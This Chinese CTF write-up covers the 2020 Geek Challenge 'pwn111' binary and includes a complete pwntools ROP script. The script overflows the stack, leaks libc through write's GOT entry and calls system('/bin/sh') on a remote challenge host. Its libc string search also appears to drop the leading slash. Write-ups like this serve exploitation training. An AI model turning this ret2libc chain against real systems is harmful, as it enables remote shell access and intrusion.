[2020Geek Challenge]pwn111

前言

时隔了好久才开始继续复现2020极客大挑战的pwn题,由于许久不刷pwn题了,导致这道简单题也依旧做了很久。这道题思路很清晰,rop的简单构造。题目已经部署在我的复现平台(https://ctf.donstpast.cn) ,可自行去尝试复现。

前置知识

ret2csu

(摘录自ctfwiki:https://ctf-wiki.org/pwn/linux/stackoverflow/medium-rop/#ret2csu)

  1. 原理
    在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄>存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用>来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
  1. 基本利用思路如下(在这里ctfwiki给出了一个利用模板,可以参考)
  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。

题目复现


按照老规矩,下载下来文件,先file查看一波

64位程序,之后来用checksec看一下文件开了什么保护

正如我们希望看到的,只开启了NX保护(即证明,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果)
老样子,拖入64位ida反编译看一下伪代码来帮助了解一下结构。

结构很简单,很容易就发现了可以溢出的点

最终到ret的偏移量为0x88即136
之后由于发现程序并不存在binsh和system,所以我们要利用给出的write函数来泄露程序的基地址,从而get到system和binsh的地址。整体思路如下,先构造write的rop链,泄露出write的实际地址,从而算出基地址,可以获得我们想要的binsh和system,之后将栈空间重新转移到main函数,利用一个简单的栈溢出漏洞,可以完成本次目标。
由此,写出以下代码

from pwn import *
p=remote("158.51.127.103",10004)
context(os='linux', arch='amd64', log_level='debug')
context.arch = "amd64"
elf=ELF("./pwn111")
libc=ELF("./libc")
main_addr=0x401146
write_plt=0x401030
write_got=0x404018
pop_rdi_ret=0x401233
pop_rsi_r15_ret=0x401231
rop1=[
    pop_rsi_r15_ret,
    write_got,
    0,
    pop_rdi_ret,
    1,
    write_plt,
    main_addr
]

p.recvuntil('please input: ')    
p.sendline("a"*136+flat(rop1))
write_addr=u64(p.recv(6).ljust(8,'\x00'))
p.success('write_addr : ' +hex(write_addr))
libc_base=write_addr-libc.symbols["write"]
p.success("libc_base :" +hex(libc_base))
system_addr=libc_base+libc.symbols["system"]
bin_sh_addr=libc_base+next(libc.search("bin/sh\x00"))
p.success("system_addr :" +hex(system_addr))
p.success("bin_sh_addr:" +hex(bin_sh_addr))
rop2=[
    pop_rdi_ret,
    bin_sh_addr,
    system_addr
]
p.sendline("a"*136+flat(rop2))
p.interactive()
Tags:复现wpCTFPwn
上一篇
没有啦~

添加新评论

召唤看板娘